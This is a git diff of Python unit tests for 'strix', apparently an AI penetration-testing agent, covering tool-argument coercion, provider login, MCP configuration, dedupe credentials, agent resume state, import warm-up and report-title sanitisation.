return FunctionTool(
|
||||
name="probe",
|
||||
name=name,
|
||||
description="test tool",
|
||||
params_json_schema={"type": "object", "properties": schema},
|
||||
on_invoke_tool=invoke,
|
||||
)
|
||||
|
||||
|
||||
async def _roundtrip(schema: dict[str, Any], payload: dict[str, Any]) -> dict[str, Any]:
|
||||
async def _roundtrip(
|
||||
schema: dict[str, Any], payload: dict[str, Any], name: str = "probe"
|
||||
) -> dict[str, Any]:
|
||||
captured: dict[str, str] = {}
|
||||
wrapped = factory._with_coerced_arguments(_capturing_tool(captured, schema))
|
||||
wrapped = factory._with_coerced_arguments(_capturing_tool(captured, schema, name))
|
||||
assert await wrapped.on_invoke_tool(cast("Any", None), json.dumps(payload)) == "ok"
|
||||
return cast("dict[str, Any]", json.loads(captured["raw_input"]))
|
||||
|
||||
@@ -144,3 +150,88 @@ async def test_coercion_is_applied_once_per_tool() -> None:
|
||||
tool = factory._with_coerced_arguments(_capturing_tool(captured, _ARRAY))
|
||||
|
||||
assert factory._with_coerced_arguments(tool) is tool
|
||||
|
||||
|
||||
_NULLABLE_STRING = {"category": {"anyOf": [{"type": "string"}, {"type": "null"}]}}
|
||||
_NULLABLE_CONTENT = {"content": {"anyOf": [{"type": "string"}, {"type": "null"}]}}
|
||||
_NULLABLE_STRING_TYPE_LIST = {"category": {"type": ["string", "null"]}}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("schema", [_NULLABLE_STRING, _NULLABLE_STRING_TYPE_LIST])
|
||||
@pytest.mark.parametrize("value", ["null", "none", "NULL", " None ", "nil", "undefined"])
|
||||
async def test_nullish_string_on_a_nullable_parameter_becomes_none(
|
||||
schema: dict[str, Any], value: str
|
||||
) -> None:
|
||||
parsed = await _roundtrip(schema, {"category": value}, "list_probes")
|
||||
|
||||
assert parsed["category"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_nullish_string_on_a_required_parameter_is_untouched() -> None:
|
||||
schema = {"content": {"type": "string"}}
|
||||
captured: dict[str, str] = {}
|
||||
tool = _capturing_tool(captured, schema, "list_probes")
|
||||
tool.params_json_schema["required"] = ["content"]
|
||||
wrapped = factory._with_coerced_arguments(tool)
|
||||
|
||||
assert await wrapped.on_invoke_tool(cast("Any", None), json.dumps({"content": "none"})) == "ok"
|
||||
assert json.loads(captured["raw_input"])["content"] == "none"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_a_parameter_absent_from_required_is_treated_as_nullable() -> None:
|
||||
captured: dict[str, str] = {}
|
||||
tool = _capturing_tool(captured, {"category": {"type": "string"}}, "list_probes")
|
||||
tool.params_json_schema["required"] = []
|
||||
wrapped = factory._with_coerced_arguments(tool)
|
||||
|
||||
assert await wrapped.on_invoke_tool(cast("Any", None), json.dumps({"category": "null"})) == "ok"
|
||||
assert json.loads(captured["raw_input"])["category"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_nullish_string_without_a_required_list_is_untouched() -> None:
|
||||
parsed = await _roundtrip(_STRING, {"todos": "none"}, "list_probes")
|
||||
|
||||
assert parsed["todos"] == "none"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("name", ["update_note", "create_note", "record_coverage"])
|
||||
@pytest.mark.parametrize("value", ["null", "none"])
|
||||
async def test_a_nullish_value_survives_on_a_tool_that_writes(name: str, value: str) -> None:
|
||||
parsed = await _roundtrip(_NULLABLE_CONTENT, {"content": value}, name)
|
||||
|
||||
assert parsed["content"] == value
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_nullish_looking_content_is_not_coerced() -> None:
|
||||
parsed = await _roundtrip(
|
||||
_NULLABLE_STRING, {"category": "none of the endpoints reflect input"}, "list_probes"
|
||||
)
|
||||
|
||||
assert parsed["category"] == "none of the endpoints reflect input"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_empty_string_on_a_nullable_string_parameter_is_untouched() -> None:
|
||||
parsed = await _roundtrip(_NULLABLE_STRING, {"category": ""})
|
||||
|
||||
assert parsed["category"] == ""
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_nullish_string_on_a_nullable_array_parameter_becomes_none() -> None:
|
||||
parsed = await _roundtrip(_NULLABLE_ARRAY, {"tags": "null"}, "list_probes")
|
||||
|
||||
assert parsed["tags"] is None
|
||||
|
||||
|
||||
def test_real_tool_schemas_declare_optional_filters_as_nullable() -> None:
|
||||
for tool, params in ((list_notes, ("category", "search")), (list_reports, ("target",))):
|
||||
schema = tool.params_json_schema
|
||||
for param in params:
|
||||
assert factory._is_nullable(param, schema["properties"][param], schema)
|
||||
|
||||
@@ -2,11 +2,12 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import time
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config import codex, opencode
|
||||
from strix.interface import auth_cli
|
||||
|
||||
|
||||
@@ -104,3 +105,60 @@ def test_login_accepts_provider_aliases(provider: str, monkeypatch: pytest.Monke
|
||||
|
||||
assert auth_cli.run_auth(["login", provider]) == 0
|
||||
assert reached["flow"] is True
|
||||
|
||||
|
||||
@pytest.mark.parametrize("provider", ["opencode", "OpenCode", "opencode-go", "zen"])
|
||||
def test_login_accepts_opencode_aliases(provider: str, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
reached = {"login": False}
|
||||
|
||||
def _fake_login(_console: Any) -> int:
|
||||
reached["login"] = True
|
||||
return 0
|
||||
|
||||
monkeypatch.setattr(auth_cli, "_login_opencode", _fake_login)
|
||||
assert auth_cli.run_auth(["login", provider]) == 0
|
||||
assert reached["login"] is True
|
||||
|
||||
|
||||
def test_login_opencode_validates_and_saves(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
saved: dict[str, str] = {}
|
||||
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: " sk-oc-test ")
|
||||
monkeypatch.setattr(opencode, "validate_api_key", lambda key: saved.setdefault("checked", key))
|
||||
monkeypatch.setattr(opencode, "save_api_key", lambda key: saved.setdefault("key", key))
|
||||
|
||||
assert auth_cli.run_auth(["login", "opencode"]) == 0
|
||||
assert saved == {"checked": "sk-oc-test", "key": "sk-oc-test"}
|
||||
|
||||
|
||||
def test_login_opencode_rejects_bad_key(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: "bad")
|
||||
|
||||
def _reject(_key: str) -> None:
|
||||
raise opencode.OpencodeAuthError("invalid_key")
|
||||
|
||||
monkeypatch.setattr(opencode, "validate_api_key", _reject)
|
||||
assert auth_cli.run_auth(["login", "opencode"]) == 1
|
||||
assert opencode.is_authenticated() is False
|
||||
|
||||
|
||||
def test_logout_provider_scoped() -> None:
|
||||
codex.save_record(
|
||||
{
|
||||
"type": "oauth",
|
||||
"provider": "codex",
|
||||
"access": "a",
|
||||
"refresh": "r",
|
||||
"account_id": "acct",
|
||||
"expires_at": time.time() + 3600,
|
||||
}
|
||||
)
|
||||
opencode.save_api_key("sk-oc-test")
|
||||
|
||||
assert auth_cli.run_auth(["logout", "opencode"]) == 0
|
||||
assert opencode.is_authenticated() is False
|
||||
assert codex.is_authenticated() is True
|
||||
|
||||
assert auth_cli.run_auth(["logout"]) == 0
|
||||
assert codex.is_authenticated() is False
|
||||
|
||||
assert auth_cli.run_auth(["logout", "bogus"]) == 2
|
||||
|
||||
88
tests/test_cli_mcp_config.py
Normal file
88
tests/test_cli_mcp_config.py
Normal file
@@ -0,0 +1,88 @@
|
||||
"""Tests for the --mcp-config CLI flag."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
from types import SimpleNamespace
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
cli_main: Any = importlib.import_module("strix.interface.main")
|
||||
|
||||
|
||||
def _stub_settings(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setattr(
|
||||
cli_main,
|
||||
"load_settings",
|
||||
lambda: SimpleNamespace(runtime=SimpleNamespace(max_local_copy_mb=1024)),
|
||||
)
|
||||
|
||||
|
||||
def test_mcp_config_flag_sets_loader_override(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
config = tmp_path / "servers.json"
|
||||
config.write_text("[]", encoding="utf-8")
|
||||
_stub_settings(monkeypatch)
|
||||
# delenv records "originally absent" so monkeypatch removes whatever the
|
||||
# parser sets, keeping the override from leaking into other tests.
|
||||
monkeypatch.delenv("STRIX_MCP_CONFIG", raising=False)
|
||||
monkeypatch.setattr(
|
||||
sys, "argv", ["strix", "-t", "https://test.com/", "-n", "--mcp-config", str(config)]
|
||||
)
|
||||
|
||||
args = cli_main.parse_arguments()
|
||||
|
||||
assert args.mcp_config == str(config)
|
||||
assert os.environ["STRIX_MCP_CONFIG"] == str(config)
|
||||
|
||||
|
||||
def test_mcp_config_flag_rejects_missing_file(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
||||
) -> None:
|
||||
_stub_settings(monkeypatch)
|
||||
monkeypatch.delenv("STRIX_MCP_CONFIG", raising=False)
|
||||
missing = tmp_path / "nope.json"
|
||||
monkeypatch.setattr(
|
||||
sys, "argv", ["strix", "-t", "https://test.com/", "-n", "--mcp-config", str(missing)]
|
||||
)
|
||||
|
||||
with pytest.raises(SystemExit):
|
||||
cli_main.parse_arguments()
|
||||
|
||||
assert "--mcp-config file not found" in capsys.readouterr().err
|
||||
|
||||
|
||||
def test_mcp_server_flags_set_selection_env(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
_stub_settings(monkeypatch)
|
||||
monkeypatch.delenv("STRIX_MCP_ONLY", raising=False)
|
||||
monkeypatch.delenv("STRIX_MCP_EXCLUDE", raising=False)
|
||||
monkeypatch.setattr(
|
||||
sys,
|
||||
"argv",
|
||||
[
|
||||
"strix",
|
||||
"-t",
|
||||
"https://test.com/",
|
||||
"-n",
|
||||
"--mcp-server",
|
||||
"a",
|
||||
"--mcp-server",
|
||||
"b",
|
||||
"--mcp-exclude",
|
||||
"c",
|
||||
],
|
||||
)
|
||||
|
||||
cli_main.parse_arguments()
|
||||
|
||||
assert os.environ["STRIX_MCP_ONLY"] == "a,b"
|
||||
assert os.environ["STRIX_MCP_EXCLUDE"] == "c"
|
||||
@@ -228,7 +228,10 @@ def test_resume_still_requires_targets_or_a_workspace(
|
||||
|
||||
assert "has no targets_info" in capsys.readouterr().err
|
||||
|
||||
def test_resume_non_object_run_json_exits(tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]) -> None:
|
||||
|
||||
def test_resume_non_object_run_json_exits(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
||||
) -> None:
|
||||
monkeypatch.chdir(tmp_path)
|
||||
run_dir = tmp_path / "strix_runs" / "pentest_abcd"
|
||||
run_dir.mkdir(parents=True)
|
||||
|
||||
@@ -7,7 +7,7 @@ from typing import TYPE_CHECKING
|
||||
|
||||
from strix.config import loader
|
||||
from strix.config.settings import DedupeSettings
|
||||
from strix.report.dedupe import _dedupe_model_settings
|
||||
from strix.report.dedupe import _dedupe_model_settings, resolve_dedupe_model
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -16,32 +16,49 @@ if TYPE_CHECKING:
|
||||
import pytest
|
||||
|
||||
|
||||
def test_dedupe_key_sent_per_call_not_via_global_env() -> None:
|
||||
def _unwrap(model: object) -> object:
|
||||
while hasattr(model, "_inner"):
|
||||
model = model._inner
|
||||
return model
|
||||
|
||||
|
||||
def test_dedupe_key_bound_to_model_client_not_global_env() -> None:
|
||||
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap", DEDUPE_LLM_API_KEY="dedupe-key")
|
||||
settings = _dedupe_model_settings(dedupe, "deepseek/cheap", 300)
|
||||
# The key rides on the request, so a shared-provider main key can't clobber
|
||||
# it (and vice versa) through the global provider env var.
|
||||
assert (settings.extra_args or {})["api_key"] == "dedupe-key"
|
||||
model = _unwrap(resolve_dedupe_model(dedupe, "deepseek/cheap"))
|
||||
# The key is bound to the dedupe model's own client, so a shared-provider
|
||||
# main key can't clobber it (and vice versa) through the process globals —
|
||||
# and it never rides on the request, where every model implementation's own
|
||||
# api_key kwarg would collide with it.
|
||||
assert model.api_key == "dedupe-key" # type: ignore[attr-defined]
|
||||
|
||||
|
||||
def test_dedupe_settings_omit_api_key_when_unset() -> None:
|
||||
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap")
|
||||
def test_dedupe_settings_carry_no_request_credentials() -> None:
|
||||
dedupe = DedupeSettings(
|
||||
STRIX_DEDUPE_MODEL="deepseek/cheap",
|
||||
DEDUPE_LLM_API_KEY="dedupe-key",
|
||||
DEDUPE_LLM_API_BASE="https://dedupe.example/v1",
|
||||
)
|
||||
settings = _dedupe_model_settings(dedupe, "deepseek/cheap", 300)
|
||||
assert "api_key" not in (settings.extra_args or {})
|
||||
assert "api_base" not in (settings.extra_args or {})
|
||||
|
||||
|
||||
def test_dedupe_endpoint_sent_per_call() -> None:
|
||||
def test_dedupe_endpoint_bound_to_model_client() -> None:
|
||||
dedupe = DedupeSettings(
|
||||
STRIX_DEDUPE_MODEL="openai/cheap",
|
||||
DEDUPE_LLM_API_KEY="dedupe-key",
|
||||
DEDUPE_LLM_API_BASE="https://dedupe.example/v1",
|
||||
)
|
||||
settings = _dedupe_model_settings(dedupe, "openai/cheap", 300)
|
||||
# A distinct dedupe endpoint rides on the request instead of the
|
||||
# process-wide base URL, so it can't clobber the main model's endpoint.
|
||||
assert (settings.extra_args or {})["api_base"] == "https://dedupe.example/v1"
|
||||
assert (settings.extra_args or {})["api_key"] == "dedupe-key"
|
||||
model = _unwrap(resolve_dedupe_model(dedupe, "openai/cheap"))
|
||||
client = model._client # type: ignore[attr-defined]
|
||||
assert client.api_key == "dedupe-key"
|
||||
assert str(client.base_url).startswith("https://dedupe.example/v1")
|
||||
|
||||
|
||||
def test_dedupe_without_credentials_uses_default_provider() -> None:
|
||||
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap")
|
||||
model = _unwrap(resolve_dedupe_model(dedupe, "deepseek/cheap"))
|
||||
assert model.api_key is None # type: ignore[attr-defined]
|
||||
|
||||
|
||||
def test_dedicated_dedupe_model_uses_own_headers_not_main() -> None:
|
||||
|
||||
@@ -458,6 +458,49 @@ async def test_non_user_send_does_not_resume_budget_pause(tmp_path: Any) -> None
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_user_send_starts_fresh_resume_attempt_after_failure() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
await coordinator.park_waiting("child", wait_kind="stalled")
|
||||
await coordinator.record_recovery("child")
|
||||
await coordinator.record_idle_resume("child")
|
||||
await coordinator.set_status("child", "failed", error="provider rejected request")
|
||||
assert await coordinator.claim_parent_notice("child") is True
|
||||
|
||||
delivered = await coordinator.send("child", {"from": "user", "content": "try again"})
|
||||
|
||||
assert delivered is True
|
||||
assert coordinator.statuses["child"] == "waiting"
|
||||
assert coordinator.pending_counts["child"] == 1
|
||||
assert "child" not in coordinator.errors
|
||||
assert "child" not in coordinator.wait_kinds
|
||||
assert "child" not in coordinator.recovery_counts
|
||||
assert "child" not in coordinator.idle_resume_counts
|
||||
assert await coordinator.claim_parent_notice("child") is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_non_user_send_preserves_failed_resume_state() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
await coordinator.park_waiting("child", wait_kind="stalled")
|
||||
await coordinator.record_recovery("child")
|
||||
await coordinator.record_idle_resume("child")
|
||||
await coordinator.set_status("child", "failed", error="provider rejected request")
|
||||
|
||||
delivered = await coordinator.send("child", {"from": "root", "content": "status"})
|
||||
|
||||
assert delivered is True
|
||||
assert coordinator.statuses["child"] == "failed"
|
||||
assert coordinator.errors["child"] == "provider rejected request"
|
||||
assert coordinator.wait_kinds["child"] == "stalled"
|
||||
assert coordinator.recovery_counts["child"] == 1
|
||||
assert coordinator.idle_resume_counts["child"] == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reset_budget_stops_clears_pause_and_normalizes_statuses() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
|
||||
@@ -16,7 +16,6 @@ from openai import (
|
||||
)
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config.models import ModelStreamTimeoutError
|
||||
from strix.core import execution
|
||||
from strix.core.agents import AgentCoordinator
|
||||
|
||||
@@ -163,16 +162,6 @@ async def test_run_cycle_gives_up_after_max_retries(
|
||||
await _run_once(monkeypatch, streams)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_cycle_gives_up_after_max_stream_timeout_retries(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
timeout = ModelStreamTimeoutError("model stream produced no event for 1s")
|
||||
streams = [_FakeStream(exc=timeout) for _ in range(execution._MAX_STREAM_TIMEOUT_RETRIES + 1)]
|
||||
with pytest.raises(ModelStreamTimeoutError):
|
||||
await _run_once(monkeypatch, streams)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_cycle_does_not_retry_permanent_error(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
|
||||
@@ -857,6 +857,37 @@ async def test_agent_state_sync_does_not_mask_root_failure_with_completed_report
|
||||
assert runtime.controller.error == "finalization failed"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_agent_state_sync_clears_root_failure_after_user_resume() -> None:
|
||||
runtime = GoTuiRuntime(args())
|
||||
await runtime.coordinator.register("root", "Strix", parent_id=None)
|
||||
await runtime.coordinator.set_status("root", "failed", error="provider rejected request")
|
||||
|
||||
await runtime._sync_agent_state()
|
||||
assert runtime.controller.scan_state == "failed"
|
||||
assert runtime.live_view.agents["root"]["error_message"] == "provider rejected request"
|
||||
|
||||
await runtime.coordinator.send("root", {"from": "user", "content": "try again"})
|
||||
await runtime._sync_agent_state()
|
||||
|
||||
assert runtime.controller.scan_state == "running"
|
||||
assert runtime.controller.error is None
|
||||
root = runtime.live_view.agents["root"]
|
||||
assert root["status"] == "waiting"
|
||||
assert "error_message" not in root
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_agent_state_sync_does_not_reopen_stopped_scan_with_active_root() -> None:
|
||||
runtime = GoTuiRuntime(args())
|
||||
runtime.controller.scan_state = "stopped"
|
||||
await runtime.coordinator.register("root", "Strix", parent_id=None)
|
||||
|
||||
await runtime._sync_agent_state()
|
||||
|
||||
assert runtime.controller.scan_state == "stopped"
|
||||
|
||||
|
||||
def _direct_launch_args() -> argparse.Namespace:
|
||||
launch_args = args()
|
||||
launch_args.needs_setup = False
|
||||
|
||||
99
tests/test_import_warmup.py
Normal file
99
tests/test_import_warmup.py
Normal file
@@ -0,0 +1,99 @@
|
||||
"""The import warm-up thread must never leave the import system poisoned.
|
||||
|
||||
Field failure: the warm-up thread's ``strix.core.runner`` import and the main
|
||||
thread's ``strix.report`` import both walked the agents SDK graph, and the two
|
||||
held each other's import locks (report -> dedupe -> agents while runner ->
|
||||
hooks -> report.state). CPython's deadlock avoidance breaks such a cycle by
|
||||
failing one import, which strands finished submodules in ``sys.modules`` with
|
||||
their parent package gone — and the next import of one of those submodules
|
||||
crashes with "partially initialized module".
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
import textwrap
|
||||
|
||||
from strix.llm import warmup
|
||||
|
||||
|
||||
def _run(code: str) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run( # noqa: S603
|
||||
[sys.executable, "-c", textwrap.dedent(code)],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
timeout=300,
|
||||
)
|
||||
|
||||
|
||||
def test_strix_report_does_not_import_the_agents_graph() -> None:
|
||||
result = _run(
|
||||
"""
|
||||
import sys
|
||||
|
||||
import strix.report
|
||||
|
||||
agents_modules = [m for m in sys.modules if m == "agents" or m.startswith("agents.")]
|
||||
assert not agents_modules, agents_modules
|
||||
assert "strix.report.dedupe" not in sys.modules
|
||||
"""
|
||||
)
|
||||
assert result.returncode == 0, result.stderr
|
||||
|
||||
|
||||
def test_check_duplicate_resolves_lazily() -> None:
|
||||
result = _run(
|
||||
"""
|
||||
import strix.report
|
||||
from strix.report import check_duplicate
|
||||
from strix.report.dedupe import check_duplicate as direct
|
||||
|
||||
assert strix.report.check_duplicate is direct is check_duplicate
|
||||
"""
|
||||
)
|
||||
assert result.returncode == 0, result.stderr
|
||||
|
||||
|
||||
def test_failed_warm_import_purges_orphaned_submodules() -> None:
|
||||
result = _run(
|
||||
"""
|
||||
import sys
|
||||
|
||||
from strix.llm.warmup import _warm
|
||||
|
||||
# A package whose import fails after a submodule already completed:
|
||||
# CPython removes the package but leaves the submodule stranded.
|
||||
import pathlib
|
||||
import tempfile
|
||||
|
||||
root = pathlib.Path(tempfile.mkdtemp())
|
||||
pkg = root / "stranded_pkg"
|
||||
pkg.mkdir()
|
||||
(pkg / "ok.py").write_text("VALUE = 1")
|
||||
(pkg / "__init__.py").write_text("from . import ok\\nraise RuntimeError('boom')")
|
||||
sys.path.insert(0, str(root))
|
||||
|
||||
_warm(("stranded_pkg",))
|
||||
|
||||
assert "stranded_pkg" not in sys.modules
|
||||
assert "stranded_pkg.ok" not in sys.modules, "orphan survived the purge"
|
||||
|
||||
# And the subtree imports cleanly afterwards up to the real error.
|
||||
try:
|
||||
import stranded_pkg # noqa: F401
|
||||
except RuntimeError:
|
||||
pass
|
||||
else:
|
||||
raise AssertionError("expected the package's own error")
|
||||
"""
|
||||
)
|
||||
assert result.returncode == 0, result.stderr
|
||||
|
||||
|
||||
def test_purge_does_not_touch_preexisting_or_healthy_modules() -> None:
|
||||
before = frozenset(sys.modules) - {"strix.llm.warmup"}
|
||||
warmup._purge_orphaned_modules(before)
|
||||
assert "strix.llm.warmup" in sys.modules # parent chain intact -> kept
|
||||
assert "strix" in sys.modules
|
||||
@@ -90,6 +90,16 @@ def test_make_model_settings_enables_prompt_cache_for_non_bedrock_claude(model_n
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"model_name",
|
||||
["claude-sonnet-4-5", "openai/claude-sonnet-4-5", "any-llm/anthropic/claude-sonnet-4-5"],
|
||||
)
|
||||
def test_no_prompt_cache_for_claude_off_the_litellm_route(model_name: str) -> None:
|
||||
# These names are served by SDK clients that raise TypeError on LiteLLM-only
|
||||
# request kwargs — e.g. a gateway in front of Claude reached with a bare name.
|
||||
assert _cache_points(model_name) is None
|
||||
|
||||
|
||||
def test_tool_config_point_not_leaked_to_non_bedrock_claude() -> None:
|
||||
# LiteLLM only consumes tool_config on Bedrock; elsewhere it leaks onto the
|
||||
# wire and native Anthropic 400s.
|
||||
@@ -112,6 +122,23 @@ def test_make_model_settings_no_prompt_cache_for_non_claude(model_name: str) ->
|
||||
assert make_model_settings(None, model_name=model_name).extra_args is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("model_name", ["opencode/claude-sonnet-5", "opencode-go/claude-sonnet-5"])
|
||||
def test_prompt_cache_for_opencode_claude(model_name: str) -> None:
|
||||
# Claude on OpenCode runs through LiteLLM's Anthropic route, which consumes
|
||||
# cache_control_injection_points. The gateway's other two routes use the raw
|
||||
# OpenAI SDK, whose create() rejects this LiteLLM-only argument.
|
||||
assert _cache_points(model_name) == [
|
||||
{"location": "message", "role": "system"},
|
||||
{"location": "message", "index": -1},
|
||||
]
|
||||
|
||||
|
||||
def test_no_prompt_cache_for_opencode_openai_routes() -> None:
|
||||
# A "claude" substring cannot smuggle the LiteLLM-only argument onto a route
|
||||
# that is served by the raw OpenAI SDK.
|
||||
assert _cache_points("opencode/gpt-5.4-claude-tuned") is None
|
||||
|
||||
|
||||
def test_no_prompt_cache_for_unmapped_bedrock_claude_model(monkeypatch: Any) -> None:
|
||||
# A Bedrock Claude model LiteLLM hasn't mapped must run uncached, not crash.
|
||||
unmapped = "bedrock/global.anthropic.claude-brand-new-9"
|
||||
@@ -143,7 +170,8 @@ def test_max_reasoning_effort_sent_as_raw_body_field() -> None:
|
||||
"max", model_name="deepseek/deepseek-v4-flash", request_timeout=30
|
||||
)
|
||||
assert settings.reasoning is None
|
||||
assert settings.extra_args == {"timeout": 30, "extra_body": {"reasoning_effort": "max"}}
|
||||
assert settings.extra_args == {"timeout": 30}
|
||||
assert settings.extra_body == {"reasoning_effort": "max"}
|
||||
|
||||
|
||||
def test_conversation_tail_breakpoint_moves_with_appended_transcript() -> None:
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import pytest
|
||||
@@ -27,6 +28,51 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
|
||||
return state
|
||||
|
||||
|
||||
def test_add_vulnerability_report_strips_control_chars_from_title(
|
||||
report_state: ReportState,
|
||||
) -> None:
|
||||
# A title quotes text from the scanned target, so it can carry newlines or
|
||||
# tabs that break the markdown heading, the CSV cell and the TUI list.
|
||||
report_id = report_state.add_vulnerability_report(
|
||||
title="\tXSS in\r\n search\x00 form ",
|
||||
severity="medium",
|
||||
target="https://app.example.com",
|
||||
)
|
||||
report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id)
|
||||
assert report["title"] == "XSS in search form"
|
||||
|
||||
|
||||
def test_hydrate_from_run_dir_strips_control_chars_from_title(
|
||||
report_state: ReportState,
|
||||
) -> None:
|
||||
# A run started before titles were normalized can hold control characters on
|
||||
# disk, and resume re-exports those titles to the CSV, the SARIF and the TUI.
|
||||
(report_state.get_run_dir() / "vulnerabilities.json").write_text(
|
||||
json.dumps(
|
||||
[
|
||||
{
|
||||
"id": "vuln-0001",
|
||||
"title": "XSS in\r\n search\tform",
|
||||
"severity": "medium",
|
||||
"timestamp": "2026-01-01 00:00:00 UTC",
|
||||
}
|
||||
]
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md"
|
||||
md_path.parent.mkdir(exist_ok=True)
|
||||
md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8")
|
||||
|
||||
report_state.hydrate_from_run_dir()
|
||||
report_state.save_run_data()
|
||||
|
||||
assert report_state.vulnerability_reports[0]["title"] == "XSS in search form"
|
||||
# The markdown on disk holds the raw heading, so resume must rewrite it.
|
||||
assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n")
|
||||
|
||||
|
||||
def _seed(state: ReportState) -> None:
|
||||
state.add_vulnerability_report(
|
||||
title="Reflected XSS in search",
|
||||
@@ -357,3 +403,25 @@ def test_get_report_no_state_returns_error(monkeypatch: pytest.MonkeyPatch) -> N
|
||||
result = _do_get_report("vuln-0001")
|
||||
assert result["success"] is False
|
||||
assert result["report"] is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("nullish", ["null", "none", "NULL", " None ", "undefined", "nil"])
|
||||
def test_list_reports_ignores_nullish_filter_strings(
|
||||
report_state: ReportState, nullish: str
|
||||
) -> None:
|
||||
_seed(report_state)
|
||||
unfiltered = _do_list_reports(
|
||||
severity=None, finding_class=None, target=None, search=None, include_details=False
|
||||
)
|
||||
assert unfiltered["filtered_count"] == 3
|
||||
|
||||
assert (
|
||||
_do_list_reports(
|
||||
severity=nullish,
|
||||
finding_class=nullish,
|
||||
target=nullish,
|
||||
search=nullish,
|
||||
include_details=False,
|
||||
)
|
||||
== unfiltered
|
||||
)
|
||||
|
||||
1601
tests/test_mcp_client.py
Normal file
1601
tests/test_mcp_client.py
Normal file
File diff suppressed because it is too large
Load Diff
@@ -3,12 +3,17 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
from agents.extensions.models.litellm_model import LitellmModel
|
||||
from agents.model_settings import ModelSettings
|
||||
|
||||
from strix.config.models import (
|
||||
RECOMMENDED_MODEL_NAMES,
|
||||
StrixProvider,
|
||||
_NonStreamingModel,
|
||||
_TurnGuardModel,
|
||||
is_recommended_or_frontier_model,
|
||||
request_timeout_extra_args,
|
||||
routes_through_litellm,
|
||||
supports_strict_tool_schemas,
|
||||
)
|
||||
|
||||
@@ -67,6 +72,11 @@ def test_recommended_models_are_matched_case_insensitively() -> None:
|
||||
"moonshot/kimi-k2.6",
|
||||
"kimi-k2.7-code",
|
||||
"moonshot/kimi-k3",
|
||||
"opencode/gpt-5.4",
|
||||
"opencode/claude-sonnet-5",
|
||||
"opencode-go/kimi-k3",
|
||||
"opencode-go/deepseek-v4-flash",
|
||||
"opencode-go/qwen3.8-max",
|
||||
],
|
||||
)
|
||||
def test_frontier_model_families_are_accepted(model_name: str) -> None:
|
||||
@@ -112,3 +122,38 @@ def test_claude_routes_reject_strict_tool_schemas(model_name: str) -> None:
|
||||
)
|
||||
def test_other_routes_keep_strict_tool_schemas(model_name: str) -> None:
|
||||
